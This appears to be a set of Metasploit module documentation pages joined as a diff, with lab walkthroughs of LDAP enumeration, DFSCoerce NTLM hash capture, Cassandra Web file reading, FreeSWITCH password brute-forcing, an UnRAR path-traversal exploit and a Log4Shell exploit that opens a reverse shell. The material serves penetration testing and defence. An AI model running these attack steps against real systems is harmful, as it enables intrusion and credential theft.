"name","WIN-F7DQC9SR0HD"
|
||||
"operatingsystemversion","10.0 (20348)"
|
||||
"dnshostname","WIN-F7DQC9SR0HD.daforest.com"
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
|
||||
"displayname","FSRWLPT1000000"
|
||||
"name","FSRWLPT1000000"
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
|
||||
"displayname","TSTWVIR1000000"
|
||||
"name","TSTWVIR1000000"
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
|
||||
"displayname","WVIR1000013"
|
||||
"name","WVIR1000013"
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with JSON Output
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT json
|
||||
OUTPUT_FORMAT => json
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT json yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
|
||||
ng-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
|
||||
"distinguishedname": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
|
||||
"name": "WIN-F7DQC9SR0HD",
|
||||
"operatingsystemversion": "10.0 (20348)",
|
||||
"dnshostname": "WIN-F7DQC9SR0HD.daforest.com"
|
||||
}
|
||||
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
|
||||
"displayname": "FSRWLPT1000000",
|
||||
"name": "FSRWLPT1000000"
|
||||
}
|
||||
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
|
||||
"displayname": "TSTWVIR1000000",
|
||||
"name": "TSTWVIR1000000"
|
||||
}
|
||||
*cut for brevity*
|
||||
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
|
||||
"displayname": "WLPT1000014",
|
||||
"name": "WLPT1000014"
|
||||
}
|
||||
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
|
||||
"displayname": "WWKS1000016",
|
||||
"name": "WWKS1000016"
|
||||
}
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
|
||||
"displayname": "WVIR1000013",
|
||||
"name": "WVIR1000013"
|
||||
}
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
@@ -0,0 +1,62 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/dcerpc/dfscoerce`
|
||||
4. Set the `RHOSTS` and `LISTENER` options
|
||||
5. Set the `SMBUser`, `SMBPass` for authentication
|
||||
6. (Optional) Set the `METHOD` options to adjust the trigger vector
|
||||
7. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### LISTENER
|
||||
The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host
|
||||
should be hosting some kind of capture or relaying service.
|
||||
|
||||
### METHOD
|
||||
The RPC method to use for triggering.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2019
|
||||
In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine
|
||||
account. The target is a 64-bit Windows Server 2019 domain controller.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/server/capture/smb
|
||||
msf6 auxiliary(server/capture/smb) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf6 auxiliary(server/capture/smb) >
|
||||
[*] Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
|
||||
msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce
|
||||
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96
|
||||
RHOSTS => 192.168.159.96
|
||||
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1
|
||||
SMBPass => Password1
|
||||
msf6 auxiliary(scanner/dcerpc/dfscoerce) > run
|
||||
|
||||
[*] 192.168.159.96:445 - Connecting to Distributed File System (DFS) Namespace Management Protocol
|
||||
[*] 192.168.159.96:445 - Binding to \netdfs...
|
||||
[+] 192.168.159.96:445 - Bound to \netdfs
|
||||
[+] Received SMB connection on Auth Capture Server!
|
||||
[SMB] NTLMv2-SSP Client : 192.168.250.237
|
||||
[SMB] NTLMv2-SSP Username : MSFLAB\WIN-3MSP8K2LCGC$
|
||||
[SMB] NTLMv2-SSP Hash : WIN-3MSP8K2LCGC$::MSFLAB:971293df35be0d1c:804d2d329912e92a442698d0c6c94f08:01010000000000000088afa3c78cd801bc3c7ed684c95125000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f0055005000070008000088afa3c78cd80106000400020000000800300030000000000000000000000000400000f0ba0ee40cb1f6efed7ad8606610712042fbfffb837f66d85a2dfc3aa03019b00a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000
|
||||
|
||||
[+] 192.168.159.96:445 - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
|
||||
[*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/dcerpc/dfscoerce) >
|
||||
```
|
||||
@@ -0,0 +1,100 @@
|
||||
## Vulnerable Application
|
||||
[Cassandra Web](https://rubygems.org/gems/cassandra-web) is an interface for Apache Cassandra using Ruby, Event-machine, AngularJS,
|
||||
Server-Sent-Events and DataStaxRuby driver for Apache Cassandra.
|
||||
|
||||
This module has been tested successfully on Cassandra Web versions:
|
||||
* cassandra-web-0.5.0 on Debian 10.11 (buster) with ruby 2.5.5p157 and Apache Cassandra 3.11.13
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
|
||||
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
|
||||
This vulnerability occured due to the disabled Rack::Protection module.
|
||||
|
||||
This web service listens on TCP port 3000 by default on all network interface.
|
||||
|
||||
Source and Installers:
|
||||
* [Source Code Repository](https://github.com/avalanche123/cassandra-web)
|
||||
* [Installers](https://rubygems.org/gems/cassandra-web)
|
||||
|
||||
Ruby installation:
|
||||
```
|
||||
apt install ruby-full -y
|
||||
```
|
||||
|
||||
Gem installation:
|
||||
```
|
||||
gem install cassandra-web
|
||||
```
|
||||
|
||||
Apache Cassandra Installation:
|
||||
```
|
||||
cat << EOF > /etc/apt/sources.list.d/cassandra.list
|
||||
deb https://www.apache.org/dist/cassandra/debian 311x main
|
||||
EOF
|
||||
cat << EOF > /etc/apt/sources.list.d/adoptopenjdk.list
|
||||
deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main
|
||||
EOF
|
||||
wget -q -O - https://www.apache.org/dist/cassandra/KEYS | apt-key add -
|
||||
wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -
|
||||
apt update && apt install adoptopenjdk-8-hotspot cassandra -y
|
||||
```
|
||||
|
||||
Run Cassandra Web:
|
||||
```
|
||||
cassandra-web
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
1. Do: `use auxiliary/scanner/http/cassandra_web_file_read.rb`
|
||||
2. Do: `set RHOSTS [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
### Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13)
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/cassandra_web_file_read
|
||||
msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1
|
||||
RHOSTS => 192.168.56.1
|
||||
msf6 auxiliary(scanner/http/cassandra_web_file_read) > run
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cassandra Web Detected
|
||||
[*] Downloading file...
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
|
||||
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
|
||||
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
|
||||
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
|
||||
ntp:x:107:115::/nonexistent:/usr/sbin/nologin
|
||||
cassandra:x:108:116:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
|
||||
|
||||
|
||||
[+] File saved in: /home/git/.msf4/loot/20220802185716_default_192.168.56.1_cassandra.web.tr_160962.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Vulnerable Application
|
||||
[FreeSWITCH](https://freeswitch.com/) is a free and open-source software defined telecommunications stack for real-time communication,
|
||||
WebRTC, telecommunications, video, and Voice over Internet Protocol.
|
||||
|
||||
The [Event Socket](https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket) `mod_event_socket` is a TCP based interface to
|
||||
control FreeSWITCH and is enabled by default.
|
||||
|
||||
This module has been tested successfully on FreeSWITCH versions:
|
||||
* 1.10.7-release-19-883d2cb662~64bit on Debian 10.11 (buster)
|
||||
|
||||
### Description
|
||||
|
||||
This module is a login utility to find the password of the FreeSWITCH event socket service by bruteforcing the login interface.
|
||||
Note that this service does not require a username to log in; login is done purely via supplying a valid password.
|
||||
This module will stops as soon as a valid password is found.
|
||||
|
||||
This service is enabled by default and listens on TCP port 8021 on the local network interface.
|
||||
|
||||
Source and Installers:
|
||||
* [Source Code Repository](https://github.com/signalwire/freeswitch)
|
||||
* [Installers](https://freeswitch.org/confluence/display/FREESWITCH/Installation)
|
||||
* [Virtual Machine](https://freeswitch.com/index.php/fs-virtual-machine/)
|
||||
* [Docker](https://github.com/drachtio/docker-drachtio-freeswitch-mrf)
|
||||
|
||||
Docker installation:
|
||||
```
|
||||
docker pull drachtio/drachtio-freeswitch-mrf
|
||||
docker run -d --rm --name FS1 --net=host \
|
||||
-v /home/deploy/log:/usr/local/freeswitch/log \
|
||||
-v /home/deploy/sounds:/usr/local/freeswitch/sounds \
|
||||
-v /home/deploy/recordings:/usr/local/freeswitch/recordings \
|
||||
drachtio/drachtio-freeswitch-mrf freeswitch --sip-port 5038 --tls-port 5039 --rtp-range-start 20000 --rtp-range-end 21000 --password hunter
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
1. Do: `use auxiliary/scanner/misc/freeswitch_event_socket_login`
|
||||
2. Do: `set RHOSTS [ips]`
|
||||
3. Do: `set PASS_FILE /home/kali/passwords.txt`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### PASS_FILE
|
||||
The file containing a list of passwords to try logging in with.
|
||||
|
||||
## Scenarios
|
||||
### FreeSWITCH 1.10.7 Linux Debian 10.11 (Docker Image)
|
||||
```
|
||||
msf6 > use auxiliary/scanner/misc/freeswitch_event_socket_login
|
||||
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set RHOSTS 192.168.56.1
|
||||
RHOSTS => 192.168.56.1
|
||||
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set PASS_FILE /home/kali/passwords.txt
|
||||
PASS_FILE => /home/kali/passwords.txt
|
||||
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > run
|
||||
|
||||
[!] 192.168.56.1:8021 - No active DB -- Credential data will not be saved!
|
||||
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: ClueCon (Incorrect: -ERR invalid)
|
||||
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: admin (Incorrect: -ERR invalid)
|
||||
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456 (Incorrect: -ERR invalid)
|
||||
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 12345 (Incorrect: -ERR invalid)
|
||||
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456789 (Incorrect: -ERR invalid)
|
||||
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: password (Incorrect: -ERR invalid)
|
||||
[+] 192.168.56.1:8021 - 192.168.56.1:8021 - Login Successful: hunter (Successful: +OK accepted)
|
||||
[*] 192.168.56.1:8021 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,74 @@
|
||||
## Vulnerable Application
|
||||
BACnet is a Data Communication Protocol for Building Automation and Control Networks.
|
||||
Developed under the auspices of the American Society of Heating,
|
||||
Refrigerating and Air-Conditioning Engineers (ASHRAE), BACnet is an American national standard,
|
||||
a European standard, a national standard in more than 30 countries, and an ISO global standard.
|
||||
The protocol is supported and maintained by ASHRAE Standing Standard Project Committee 135
|
||||
|
||||
This script polls bacnet devices with a l3 broadcast Who-is message
|
||||
and for each reply communicates further to discover more data and saves the data into metasploit.
|
||||
Each bacnet device responds with this data:
|
||||
- It's IP address, and BACnet/IP address (if the device is nested).
|
||||
- It's device number.
|
||||
- Model name.
|
||||
- Application software version.
|
||||
- Firmware revision.
|
||||
- Device description.
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
2. Do: `use auxiliary/scanner/scada/bacnet_l3`.
|
||||
3. Do: `set INTERFACE`.
|
||||
5. Do: `run`.
|
||||
6. Devices running the BACnet protocol should respond with data.
|
||||
|
||||
## Options
|
||||
A user can choose between the interfaces of his host (e.g. eth1, ens192...),
|
||||
the number of Who-is packets to send - for reliability purposes, the time (in seconds) to wait for packets to arrive
|
||||
and the UDP port, the default is 47808.
|
||||
|
||||
The user can always check these options via the `show options` command.
|
||||
|
||||
```
|
||||
msf auxiliary(profinet_siemens) > show options
|
||||
|
||||
Module options (auxiliary/scanner/scada/bacnet_l3):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COUNT 1 yes The number of times to send each packet
|
||||
INTERFACE eth1 yes The interface to scan from
|
||||
PORT 47808 yes BACnet/IP UDP port to scan (usually between 47808-47817)
|
||||
TIMEOUT 1 yes The socket connect timeout in seconds
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following demonstrates a basic scenario, we "detect" two devices:
|
||||
|
||||
```
|
||||
|
||||
msf > use auxiliary/scanner/scada/bacnet_l3
|
||||
msf auxiliary(auxiliary/scanner/scada/bacnet_l3) > run
|
||||
|
||||
[*] Broadcasting Who-is via eth1
|
||||
[*] found 2 devices
|
||||
[*] Querying device number 826001 in ip 192.168.13.11
|
||||
[*] Querying device number 4194303 in ip 192.168.13.12
|
||||
[*] Done scanning
|
||||
[+] for asset number 826001:
|
||||
model name: iSMA-B-4U4A-H-IP
|
||||
firmware revision: 6.2
|
||||
application software version: GC5 6.2
|
||||
description: BACnet iSMA-B-4U4A-H-IP Module
|
||||
|
||||
[+] for asset number 4194303:
|
||||
model name: PXG3.L-1
|
||||
firmware revision: FW=01.21.30.38;WPC=1.4.131;SVS-300:SBC=13.21;
|
||||
application software version:
|
||||
description: BacnetRouter
|
||||
|
||||
[+] Successfully saved data to local store named bacnet-discovery.xml
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -25,6 +25,35 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -node
|
||||
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
|
||||
IP and hostname to your hosts file.
|
||||
|
||||
### Using docker
|
||||
|
||||
Using the environment created by [vulhub](https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160)
|
||||
|
||||
First create a new docker-compose file:
|
||||
|
||||
```
|
||||
version: '2'
|
||||
services:
|
||||
nginx:
|
||||
image: vulhub/openssl:1.0.1c-with-nginx
|
||||
ports:
|
||||
- "8080:80"
|
||||
- "8443:443"
|
||||
```
|
||||
|
||||
Then run `docker-compose up` and verify that the service is running with:
|
||||
|
||||
```
|
||||
$ curl https://localhost:8443 -k
|
||||
<html>
|
||||
<head><title>404 Not Found</title></head>
|
||||
<body bgcolor="white">
|
||||
<center><h1>404 Not Found</h1></center>
|
||||
<hr><center>nginx/1.11.13</center>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable OpenSSL, start the service
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier). You can get the vulnerable versions here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
|
||||
TARGET_PATH => ../../../../../../tmp/docstest.txt
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Target filename: ../../../../../../tmp/docstest.txt
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
```
|
||||
|
||||
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
|
||||
|
||||
```
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
|
||||
|
||||
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
|
||||
|
||||
Extracting from /home/ron/.msf4/local/payload.rar
|
||||
|
||||
Extracting hhgdzigwkgv OK
|
||||
Extracting hhgdzigwkgv OK
|
||||
All OK
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
|
||||
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
|
||||
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
|
||||
/tmp/docstest.txt: data
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate, typically it's `payload.rar` and that works fine.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
|
||||
|
||||
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
|
||||
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
|
||||
command execution in the context of the tomcat user.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to.
|
||||
|
||||
### Setup
|
||||
Once MobileIron Core is installed, no configuration needs to take place. The application is vulnerable out of the box.
|
||||
|
||||
### MobileIron Core Appliance ISO Installation on VMWare Fusion
|
||||
|
||||
1. Obtain a `mobileiron-##.#.#.#-##.iso` file, the following steps utilize `mobileiron-10.6.0.0-23.iso`.
|
||||
2. Use the ISO to create "A New Virtual Machine".
|
||||
3. Customize the VM settings to your liking. I gave the VM 4gb RAM, 4 cores, and changed the network adapter to a bridged mode
|
||||
so that I can hit it over the network.
|
||||
4. Boot the new virtual machine.
|
||||
5. Type `vm-install` at the `boot:` prompt.
|
||||
6. Wait patiently while the VM reboots and begins the install process. The system *will* reboot when installation completes.
|
||||
7. When prompted with `Continue with configuration dialog?`, type `yes`
|
||||
8. Type `q` to clear the license from the screen.
|
||||
9. Accept the End User License Agreement by typing `yes`
|
||||
10. Enter a Company Name / contact / email of your choosing. They don't matter.
|
||||
11. Configure an enable password (e.g. `Labpass1`)
|
||||
12. Enter an admin user name (e.g. `albinolobster`)
|
||||
13. Enter and confirm an admin password (e.g. `Labpass1`)
|
||||
14. Select `a` for the management interface
|
||||
15. Assign a static IP address and network mask that works with your test network. (e.g. `10.9.49.101` and `255.255.255.0`)
|
||||
16. Enter your test networks default gateway (e.g. `10.9.49.1`)
|
||||
17. Enter a fully-qualified domain name for the device (e.g. `lobster.example.com`). Unfortunately, this needs to work. I added a
|
||||
static DNS enty to my lab network's router.
|
||||
18. Enter your desired name server. My lab network relies on the aforementioned router (e.g. `10.9.49.1`)
|
||||
19. Enter blank entries for name server 2 and 3.
|
||||
20. `yes` to enable remote shell access (why not, right?)
|
||||
21. `no` to configuring NTP
|
||||
22. `no` to configuring system clock
|
||||
23. `yes` to commit changes
|
||||
24. Type `reload` to restart the system and `yes`, when prompted, to both saving the configuration and proceeding with the reload
|
||||
25. When the system has restarted, you should now have a vulnerable install of MobileIron Core.
|
||||
26. Visit `https://ipaddr` to ensure the HTTP server has fully loaded
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/http/mobileiron_core_log4shell`
|
||||
3. Set the `RHOSTS`, `LHOST`, and `SRVHOST`
|
||||
4. Do: `run`
|
||||
5. If the target is vulnerable, the payload should be executed
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MobileIron Core 11.2.0.0-31
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mobileiron_core_log4shell
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
|
||||
LHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
|
||||
SRVHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
|
||||
SRVPORT => 1389
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100
|
||||
RHOSTS => 10.9.49.100
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.49.248:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.100:48004) at 2022-07-29 09:46:14 -0700
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||||
uname -a
|
||||
Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
### MobileIron Core 10.6.0.0-23
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mobileiron_core_log4shell
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
